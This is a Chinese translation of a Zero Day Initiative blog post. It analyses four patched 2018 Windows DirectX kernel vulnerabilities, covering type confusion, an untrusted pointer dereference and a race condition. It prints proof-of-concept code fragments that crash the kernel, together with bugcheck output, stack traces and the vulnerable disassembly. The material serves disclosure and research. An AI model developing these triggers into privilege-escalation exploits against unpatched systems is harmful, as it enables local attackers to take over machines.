DIRECTX 直达内核

Agostop / 2018-12-09 07:30:00 / 浏览数 3018 技术文章 翻译文章 顶(0) 踩(0)

原文链接：https://www.zerodayinitiative.com/blog/2018/12/4/directx-to-the-kernel

操作系统内核是每个漏洞利用链的最终目标，你可以从这些年来the Zero Day Initiative (ZDI)
Pwn2Own竞赛的题目上看出来。Windows内核受到了许多方面的攻击，我最喜欢的一个是对DeviceIoControl调用各种驱动程序的滥用，因为这导致能够访问许多由不同供

多年来，大多数侵入Windows内核的攻击都是通过win32k.sys进行的，win32k.sys是一种内核模式的设备驱动程序，用来控制窗口图形和窗口管理系统。当微软在20年前将

自从WDDM
(Windows显示驱动程序模型)在过去十年取代早期的XDDM以来，就出现了另一个大型攻击面。在显示系统通过win32k.sys调用初始化操作之后，用户进程可以通过GDIPlu

2018年春天，ZDI从腾讯湛泸实验室的ChenNan和RanchoIce手上购买了5个针对DirectX内核接口的漏洞。这些购买的漏洞造成了4个针对微软的CVE漏洞，本文涵盖了这些

此外，Rancho和ChenNan在9月份的44CON会议演讲中对其中一个攻击（ZDI-18-946/CVE-2018-8405)有着重介绍，我强烈建议研究人员可以去回顾一下演讲的课件。

DirectX概述

在深入讨论这些漏洞之前，我们来简要了解一下DirectX接口和驱动程序。

DirectX图形内核子系统由三个内核模式驱动程序组成:dxgkrnl.sys，dxgmms1.sys和dxgmms2.sys。这些驱动程序通过win32k.sys和它们自己的接口集来和用户通信，它们
BasicDisplay.sys和显示微型端口驱动程序通信。

DirectX定义了许多复杂的内核对象，大多数的名字都是以DXG开头。用户通过许多复杂的API入口点和DirectX通信，这些API切入点很多名字都是以D3DKMT开头的，还有

以下是一些更有趣的切入点:

D3DKMTEscape——这个切入点接受一个完全由用户控制的blob数据作为输入。这个数据块可能非常大，因此在向内核处理的转换过程中，更倾向将它留在用户内存中，而

D3DKMTRender——这个切入点是实际渲染图形数据的核心。用户地址命令和补丁缓冲区是由内核驱动程序解释，实际上是传递给迷你端口驱动程序的。同样，也可以在务

D3DKMTCreateAllocation——这个切入点用来分配内存。由于传入API调用的不同标志和句柄之间复杂的相互作用，可能会出现问题(参阅下面的ZDI-18-946)。

IOActive的Ilja van Sprundel在2014年发表的题为“Windows内核图形驱动程序攻击表面”的黑帽子报告是一个很好的从攻击角度对WDDM的概述。

漏洞演练

PoC源码可以在这里找到。如果你想重现这些崩溃,你需要一个2018年8月之前的Windows版本（在微软修复这些漏洞之前的版本）。记得要将内核调试器附加到被测试的机
10 x64上测试了这些漏洞报告。

ZDI-18-946/CVE-2018-8405 - D3DKMTCreateAllocation类型混淆漏洞

我们讨论的第一个漏洞是在dgxkrnl.sys中的DXGDEVICE::CreateAllocation方法中，通过D3DKMTCreateAllocation方法暴露，可以允许本地攻击者将特权升级到系统权限

要查看此操作，在运行PoC之前请在dxgkrnl.sys上启用特殊池。类型混淆是由于在分配中不恰当地使用CrossAdapter标志造成的。PoC代码使用一个为0的CrossAdapter标

```
    D3DKMT_CREATEALLOCATION allocation = { 0 };
    allocation.hDevice = device.hDevice;
    allocation.hResource = NULL;
    allocation.NumAllocations = 1;
    D3DDDI_ALLOCATIONINFO2 allocationInfo = { 0 };
    allocationInfo.VidPnSourceId = 0;
    allocationInfo.Flags.OverridePriority = 1;

...

    allocation.Flags.CreateResource = 1;
    allocation.Flags.CreateShared = 1;
    //allocation.Flags.CrossAdapter = 1;   <--- note, flag is NOT set
    __asm int 3
    D3DKMTCreateAllocation(&allocation);

    D3DKMT_CREATEALLOCATION allocation2 = { 0 };
    allocation2.hDevice = device.hDevice;
    allocation2.hResource = allocation.hResource;
    allocation2.NumAllocations = 1;
    D3DDDI_ALLOCATIONINFO2 allocationInfo2 = { 0 };
    allocationInfo2.VidPnSourceId = 0;
    allocationInfo2.Flags.OverridePriority = 1;
    allocationInfo2.PrivateDriverDataSize = 0x60;
    allocationInfo2.pPrivateDriverData = privateData;
    allocation2.pAllocationInfo2 = &allocationInfo2;
    allocation2.Flags.CreateResource = 1;
    allocation2.Flags.CreateShared = 1;
    allocation2.Flags.CrossAdapter = 1;  <-- note, flag is eet
    __asm int 3
    D3DKMTCreateAllocation(&allocation2);
```

这是蓝屏分析:

```
DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: fffff883b5463000, memory referenced
Arg2: 0000000000000002, value 0 = read operation, 1 = write operation
Arg3: fffff80ee26c2237, if non-zero, the address which referenced memory.
Arg4: 0000000000000000, (reserved)
```

```
READ_ADDRESS:
Couldn't resolve error at 'AssignedRegionSystemPtes].NumberOfBytes'
 fffff883b5463000

FAULTING_IP:
dxgkrnl!DXGDEVICE::CreateAllocation+7c577
fffff80e`e26c2237 8987c0000000    mov     dword ptr [rdi+0C0h],eax
```

```
fffff802`fa54b540 : nt!DbgBreakPointWithStatus
ffff8485`1184bc70 : nt!KiBugCheckDebugBreak+0x12
ffff8686`0dddd3e0 : nt!KeBugCheck2+0x937
ffff8485`1184bfe0 : nt!KeBugCheckEx+0x107
ffff8485`1184bf10 : nt!MiSystemFault+0x142361
ffffa808`89650848 : nt!MmAccessFault+0x23d
ffff8485`1184cb80 : nt!KiPageFault+0x373
00000000`00000000 : dxgkrnl!DXGDEVICE::CreateAllocation+0x7c577
0000006a`d212f890 : dxgkrnl!DxgkCreateAllocationInternal+0x44f
00000000`00000000 : dxgkrnl!DxgkCreateAllocation+0xb
ffffa808`8d3a4c40 : win32kbase!NtGdiDdDDICreateAllocation+0x11
00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`00000000 : win32u!NtGdiDdDDICreateAllocation+0x14
00000000`00000000 : GDI32!D3DKMTCreateAllocation+0xfc
```

错误代码在DXGDEVICE::CreateAllocation中，是一种经典的类型混淆：

```
PAGE:FFFFF80EE26C2228 loc_FFFFF80EE26C2228:                   ; CODE XREF: DXGDEVICE::CreateAllocation(_D3DK
PAGE:FFFFF80EE26C2228                 mov     rax, [r14+28h]
PAGE:FFFFF80EE26C222C                 mov     rdi, [rax+38h]
PAGE:FFFFF80EE26C2230                 mov     eax, [rsp+6F8h+var_590]
PAGE:FFFFF80EE26C2237                 mov     [rdi+0C0h], eax     <---  past end of pool allocation.
                                                                  Type confusion on object
PAGE:FFFFF80EE26C223D                 mov     eax, [rsp+6F8h+var_58C]
PAGE:FFFFF80EE26C2244                 mov     [rdi+0C4h], eax
PAGE:FFFFF80EE26C224A                 mov     eax, [rsp+6F8h+var_588]
PAGE:FFFFF80EE26C2251                 mov     [rdi+0C8h], eax
```

ZDI-18-947/CVE-2018-8406 - D3DKMTRender类型混淆漏洞

下一个漏洞存在于dxgmms2.sys驱动程序中，通过D3DKMTRender方法暴露出来。这个漏洞也是允许本地攻击者将特权升级到系统权限。这是我们对此的建议，微软的补丁

同样，你需要在dxgkrnl.sys和dxgmms2.sys上启用特殊池才能发现这些漏洞，当然，还要目标机器上添加内核调试器。这种类型混淆是由于分配操作混淆了两个不同适配器

相关PoC代码:

```
    D3DKMT_CREATECONTEXT contextVM3D = { 0 };
    contextVM3D.hDevice = deviceVM3D.hDevice;
    contextVM3D.NodeOrdinal = 0x0; //必须0
    char data[0x200] = { 0 };
    memset(data, 0xee, 0x200);
    *(DWORD*)(data + 4) = 0x1; // <= 1
    contextVM3D.PrivateDriverDataSize = 0x200;
    contextVM3D.pPrivateDriverData = data;
    D3DKMTCreateContext(&contextVM3D);  <-- VM3D context

    D3DKMT_CREATECONTEXT contextMS = { 0 };
    contextMS.hDevice = deviceMS.hDevice;
    contextMS.NodeOrdinal = 0x1;
    memset(data, 0xee, 0x200);
    contextMS.PrivateDriverDataSize = 0x200;
    contextMS.pPrivateDriverData = data;
    D3DKMTCreateContext(&contextMS); <-- MS context

...

    render.pNewAllocationList[0].hAllocation = allocationInfoVM3D.hAllocation;  <-- from VM3D adapter

    memset(&render, 0, sizeof(render));
    render.hContext = contextMS.hContext;   <-- context from MS adapter
    render.AllocationCount = 0x10;
    render.CommandOffset = 0x100;
    render.CommandLength = 0x900;
    render.NewAllocationListSize = 0x20;
    render.NewCommandBufferSize = 0x2000;
    render.NewPatchLocationListSize = 0x20;
    //render.Flags.ResizeAllocationList = 1;
    //render.Flags.ResizeCommandBuffer = 1;
    //render.Flags.ResizePatchLocationList = 1;
    render.Flags.PresentRedirected = 1;
    render.PrivateDriverDataSize = 0xcc;
    memset(renderData, 0xff, 0xcc);
    render.pPrivateDriverData = renderData;
    __asm int 3
    xx = D3DKMTRender(&render);
```

PoC崩溃细节:

```
DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: ffffed0daecab1c8, memory referenced
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation
Arg3: fffff80c6b54520e, if non-zero, the address which referenced memory.
Arg4: 0000000000000000, (reserved)

FAULTING_IP:
dxgmms2!VIDMM_GLOBAL::ReferenceDmaBuffer+19e
fffff80c`6b54520e 488b86f8010000  mov     rax,qword ptr [rsi+1F8h]
```

```
fffff800`9c15b540 : nt!DbgBreakPointWithStatus
ffffc68b`9f03d680 : nt!KiBugCheckDebugBreak+0x12
fffff800`9c0be98b : nt!KeBugCheck2+0x937
ffffc68b`9f03d9f0 : nt!KeBugCheckEx+0x107
ffffc68b`9f03d920 : nt!MiSystemFault+0x142361
00000000`000408f0 : nt!MmAccessFault+0x23d
ffffc68b`9f03e630 : nt!KiPageFault+0x373
ffffc68b`9f03e0c0 : dxgmms2!VIDMM_GLOBAL::ReferenceDmaBuffer+0x19e
ffffed0d`aed12e68 : dxgmms2!VidMmReferenceDmaBuffer+0x85
fffff800`00000010 : dxgkrnl!DXGCONTEXT::Render+0x3cc
00000000`00000020 : dxgkrnl!DxgkRender+0x7e0
ffffb58d`c2f44a40 : win32kbase!NtGdiDdDDIRender+0x11
00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`00000000 : win32u!NtGdiDdDDIRender+0x14
```

漏洞代码：

```
PAGE:FFFFF80C6B5451D0 loc_FFFFF80C6B5451D0:                   ; CODE XREF: VIDMM_GLOBAL::ReferenceDmaBuffer(
PAGE:FFFFF80C6B5451D0                 mov     [rsp+398h+var_350], r9
PAGE:FFFFF80C6B5451D5                 cmp     edi, esi
PAGE:FFFFF80C6B5451D7                 jnb     loc_FFFFF80C6B545B2B
PAGE:FFFFF80C6B5451DD                 cmp     dword ptr [r15], 0
PAGE:FFFFF80C6B5451E1                 jz      loc_FFFFF80C6B54555B
PAGE:FFFFF80C6B5451E7                 mov     eax, edi
PAGE:FFFFF80C6B5451E9                 mov     rcx, [rsp+398h+var_2D0]
PAGE:FFFFF80C6B5451F1                 mov     r13, [rcx+rax*8]
PAGE:FFFFF80C6B5451F5                 test    r13, r13
PAGE:FFFFF80C6B5451F8                 jz      loc_FFFFF80C6B545AF4
PAGE:FFFFF80C6B5451FE                 mov     r13, [r13+18h]
PAGE:FFFFF80C6B545202                 mov     [rsp+398h+var_340], r13
PAGE:FFFFF80C6B545207                 mov     rax, [r13+0]
PAGE:FFFFF80C6B54520B                 mov     rsi, [rax]
PAGE:FFFFF80C6B54520E                 mov     rax, [rsi+1F8h]             <--- rsi is incorrectly 0

0: kd> dd ffff9e096ed62fc0
ffff9e09`6ed62fc0  aecaafd0 ffffed0d aecaafd0 ffffed0d
ffff9e09`6ed62fd0  00060001 00000000 6ed62fd8 ffff9e09
ffff9e09`6ed62fe0  6ed62fd8 ffff9e09 6f65efd0 ffff9e09
ffff9e09`6ed62ff0  00000000 00000000 00000000 00000000
ffff9e09`6ed63000  ???????? ???????? ???????? ????????
ffff9e09`6ed63010  ???????? ???????? ???????? ????????
ffff9e09`6ed63020  ???????? ???????? ???????? ????????
ffff9e09`6ed63030  ???????? ???????? ???????? ????????
0: kd> dd ffffed0daecaafd0                    <---  This is the real rsi.  At end of the allocation.
ffffed0d`aecaafd0  6ed62fc0 ffff9e09 6ed62fc0 ffff9e09
ffffed0d`aecaafe0  0000007f 00000000 00000000 00000000
ffffed0d`aecaaff0  00000000 00000000 dfdfdfdf dfdfdfdf
ffffed0d`aecab000  ???????? ???????? ???????? ????????
ffffed0d`aecab010  ???????? ???????? ???????? ????????
ffffed0d`aecab020  ???????? ???????? ???????? ????????
ffffed0d`aecab030  ???????? ???????? ???????? ????????
ffffed0d`aecab040  ???????? ???????? ???????? ????????
```

ZDI-18-950/CVE-2018-8400 - D3DKMTRender不可信指针解引用漏洞

下一个漏洞也是通过D3DKMTRender例程暴露的,这个漏洞在dxgkrnl.sys的DGXCONTEXT::ResizeUserModeBuffers
方法中。这是我们对此的建议，微软的补丁在这里。在这个例子中，错误是由于在将用户提供的值作为指针解除引用之前缺乏适当的验证所导致的。造成这个结果的原因是因

```
    render.NewPatchLocationListSize = 0x20;
    render.Flags.ResizeAllocationList = 1;
    render.Flags.ResizeCommandBuffer = 1;
    render.Flags.ResizePatchLocationList = 1;   <--- this flag is trusted by the driver
                                                and leads to an untrusted pointer dereference
//  __asm int 3
    int xx = D3DKMTRender(&render);
```

导致了下面的崩溃：

```
FAULTING_IP:
nt!MiObtainReferencedSecureVad+5e
fffff803`2244b41e 498b7608        mov     rsi,qword ptr [r14+8]

CONTEXT:  fffff38179cc2b20 -- (.cxr 0xfffff38179cc2b20)
rax=00000000144d0c01 rbx=4e1438fa1b03f6c5 rcx=0000000000000011
rdx=ffff8207b22fd3e8 rsi=0000000000000000 rdi=ffff8207aef5e080
rip=fffff8032244b41e rsp=fffff38179cc3510 rbp=ffff8207b22fd080
 r8=fffff38179cc3518  r9=ffff9500d7fa0180 r10=ffff9500d7fa0c00
r11=0000000000000000 r12=0000000000000000 r13=b1ebbafdb5f0d975
r14=4e1438fa1b03f6c5 r15=fffff38179cc3590
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
nt!MiObtainReferencedSecureVad+0x5e:
fffff803`2244b41e 498b7608        mov     rsi,qword ptr [r14+8] ds:002b:4e1438fa`1b03f6cd=????????????????
```

调用源：

```
00000000`ffffffff : nt!VerifierMmUnsecureVirtualMemory+0x10
fffff803`00000020 : dxgkrnl!DXGCONTEXT::ResizeUserModeBuffers+0x50e
00000000`00000020 : dxgkrnl!DxgkRender+0x91b
```

漏洞代码：

```
PAGE:FFFFF80F6A78D2E3 loc_FFFFF80F6A78D2E3:                   ; CODE XREF: DXGCONTEXT::ResizeUserModeBuffers
PAGE:FFFFF80F6A78D2E3                 cmp     [rsp+0A8h+arg_20], 0
PAGE:FFFFF80F6A78D2EB                 jz      short loc_FFFFF80F6A78D35B
PAGE:FFFFF80F6A78D2ED                 mov     rcx, [r15+88h]
PAGE:FFFFF80F6A78D2F4                 call    cs:__imp_MmUnsecureVirtualMemory
```

显然，来自用户的这个标志不应该导致内核中的任意解除引用。

ZDI-18-951/CVE-2018-8401 – BasicRender条件竞争漏洞

最后一个漏洞稍微复杂一点，因为这个漏洞出现在BasicRender驱动程序处理D3DKMTMarkDeviceAsError API和D3DKMTSubmitCommand API的过程中。这是我们对此的建议，微软的补丁在这里。共享资源没有得到适当的保护，可能会导致内存泄露。攻击者可以利用它将特权提升到系统权限。这种漏洞经常会

这两种情况的PoC代码是相关的，但有所不同。

第一个PoC的关键部分:

```
    for(int i = 0;i<0x1000;i++)
    {
        submitCommand.PrivateDriverDataSize = 0x130;
        *(DWORD*)(submitCommandData + 0x2c) = i;
        pfnD3DKMTSubmitCommand(&submitCommand);
    }
    pfnMAKEDEVICEEROOR(&makedeviceerror);
```

对SubmitCommand的每次调用都会通过VidSchiWorkerThread生成一个线程,对MakeDeviceError的调用会更改相同对象的状态,导致条件竞争出现。

这是造成的崩溃：

```
FAULTING_IP:
BasicRender!WARPKMDMABUFINFO::Discard+1f
fffff80b`df92546b 488b03          mov     rax,qword ptr [rbx]

EXCEPTION_RECORD:  ffffb70e6ef805d8 -- (.exr 0xffffb70e6ef805d8)
ExceptionAddress: fffff80bdf92546b (BasicRender!WARPKMDMABUFINFO::Discard+0x000000000000001f)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: ffffffffffffffff
Attempt to read from address ffffffffffffffff

CONTEXT:  ffffb70e6ef7fe20 -- (.cxr 0xffffb70e6ef7fe20)
rax=123456794320fedc rbx=12345679320fedcb rcx=ffffe18bd203aec8
rdx=1234567887654321 rsi=0000000000000000 rdi=ffffe18bd203aec8
rip=fffff80bdf92546b rsp=ffffb70e6ef80810 rbp=ffffb70e6ef809e9
 r8=0000000000000000  r9=0000000000000002 r10=0000000000000000
r11=fffff80be0848487 r12=000000000000000f r13=ffffa38e9ebfd000
r14=ffffb70e6ef809c0 r15=0000000000000000
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010293
BasicRender!WARPKMDMABUFINFO::Discard+0x1f:
fffff80b`df92546b 488b03          mov     rax,qword ptr [rbx] ds:002b:12345679`320fedcb=????????????????

.text:FFFFF80B2F07544C ; void __fastcall WARPKMDMABUFINFO::Discard(WARPKMDMABUFINFO *__hidden this)
.text:FFFFF80B2F07544C ?Discard@WARPKMDMABUFINFO@@QEAAXXZ proc near
.text:FFFFF80B2F07544C                                         ; CODE XREF: WARPKMADAPTER::RunGPU(void)+6F3↑
.text:FFFFF80B2F07544C                                         ; WARPKMDMABUFINFO::Cancel(_DXGKARG_CANCELCOM
.text:FFFFF80B2F07544C
.text:FFFFF80B2F07544C arg_0           = qword ptr  8
.text:FFFFF80B2F07544C
.text:FFFFF80B2F07544C                 mov     [rsp+arg_0], rbx
.text:FFFFF80B2F075451                 push    rdi
.text:FFFFF80B2F075452                 sub     rsp, 20h
.text:FFFFF80B2F075456                 mov     rdx, [rcx+10h]
.text:FFFFF80B2F07545A                 mov     rdi, rcx
.text:FFFFF80B2F07545D                 mov     ebx, [rcx+1Ch]
.text:FFFFF80B2F075460                 mov     eax, [rcx+20h]
.text:FFFFF80B2F075463                 add     rbx, rdx
.text:FFFFF80B2F075466                 add     rax, rdx
.text:FFFFF80B2F075469                 jmp     short loc_FFFFF80B2F07549A
.text:FFFFF80B2F07546B ; ---------------------------------------------------------------------------
.text:FFFFF80B2F07546B
.text:FFFFF80B2F07546B loc_FFFFF80B2F07546B:                   ; CODE XREF: WARPKMDMABUFINFO::Discard(void)+
.text:FFFFF80B2F07546B                 mov     rax, [rbx]     <--- the data in rbx is not an address
```

条件竞争存在于对同一位置的两次修改之间:

```
dxgmms2!VidSchiMarkDeviceAsError --> lock cmpxchg [rbx+0A0h], edi
dxgmms2!VidSchiSubmitRenderVirtualCommand --> lock cmpxchg [rbx+0A0h], edi
```

对于ZDI-18-949，尽管根源相同，但是可以看到PoC代码中的差异。这是PoC的关键部分:

```
    submitCommand.PrivateDriverDataSize = 0x130;
    *(DWORD*)(submitCommandData + 0x2c) = 0x30ee;
    *(DWORD*)(submitCommandData + 0x24) = 0x1234;
    pfnD3DKMTSubmitCommand(&submitCommand);
    pfnD3DKMTSubmitCommand(&submitCommand);   <-- this second invocation trips the vulnerability
```

执行此PoC会导致Run方法崩溃:

```
FAULTING_IP:
BasicRender!WARPKMGPUNODE::Run+c8
fffff807`f43556f4 488b4008        mov     rax,qword ptr [rax+8]

EXCEPTION_RECORD:  ffffc28ca17fda78 -- (.exr 0xffffc28ca17fda78)
ExceptionAddress: fffff807f43556f4 (BasicRender!WARPKMGPUNODE::Run+0x00000000000000c8)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: 0000000000000008
Attempt to read from address 0000000000000008

CONTEXT:  ffffc28ca17fd2c0 -- (.cxr 0xffffc28ca17fd2c0)
rax=0000000000000000 rbx=0000000000000100 rcx=ffffc38f9c603234
rdx=ffffc38f9d0fa220 rsi=ffffe78277876ec8 rdi=0000000000000001
rip=fffff807f43556f4 rsp=ffffc28ca17fdcb0 rbp=ffffc28ca17fde10
 r8=0000000000000020  r9=0000000000000001 r10=00000000000002d2
r11=0000000000000003 r12=ffffc28ca17fdd52 r13=ffffc38f9d0fa000
r14=ffffc38f9d0fa2b0 r15=0000000000000220
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010282
BasicRender!WARPKMGPUNODE::Run+0xc8:
fffff807`f43556f4 488b4008        mov     rax,qword ptr [rax+8] ds:002b:00000000`00000008=????????????????

STACK_TEXT:
ffffc28c`a17fdcb0 fffff807`f43551d3 : 00000000`00000005 01d3d5f6`42e7410e ffffc28c`a17fde10 bbb643fc`0000000
ffffc28c`a17fdd10 fffff807`f4354865 : ffffc38f`00000000 ffffc38f`9d0fa000 fffff807`f4354840 ffffc38f`9d0fa00
ffffc28c`a17febe0 fffff802`57f32c07 : ffffc38f`9ddc6080 00000000`00000080 fffff807`f4354840 00000425`b19bbdf
ffffc28c`a17fec10 fffff802`57f99366 : fffff802`56e57180 ffffc38f`9ddc6080 fffff802`57f32bc0 507c0822`0269abb
ffffc28c`a17fec60 00000000`00000000 : ffffc28c`a17ff000 ffffc28c`a17f9000 00000000`00000000 00000000`0000000
```

这里是漏洞代码：

```
.text:FFFFF80B2F0756EA loc_FFFFF80B2F0756EA:                  ; CODE XREF: WARPKMGPUNODE::Run(uchar *)+B8↑j
.text:FFFFF80B2F0756EA                mov     ecx, [rsi+24h]
.text:FFFFF80B2F0756ED                add     rcx, [rsi+10h]     <--- rcx had too high an initial value
                                                                      and walked off the end.
.text:FFFFF80B2F0756F1                mov     rax, [rcx]
.text:FFFFF80B2F0756F4                mov     rax, [rax+8]
.text:FFFFF80B2F0756F8                call    cs:__guard_dispatch_icall_fptr
```

代码会在第二次运行时崩溃，并不是第一次。

总结

WDDM和DirectX图形内核代码为Windows提供了一个非常强大和灵活的图形系统。它们通过使用许多非常复杂的对象和为用户代码创建许多新的复杂接口来实现这一点。

直接静态分析可以提供攻击信息，然而，这个任务是十分艰巨的。另一种可能的想法是建立一个fuzzing框架，将不同的值设置为不同的标志，并以不同的顺序调用DirectX方

一如既往，当你发现新的漏洞时，Zero Day
Initiative很乐意和您交流。在此之前，你可以在Twitter上@FritzSands上找到我，并跟随团队了解最新的利用技术和安全补丁。

上一篇：CVE-2018-1002105（... 下一篇：macOS上一个模拟鼠标攻击的0day

1. 0 条回复
   - 动动手指，沙发就是你的了！

目录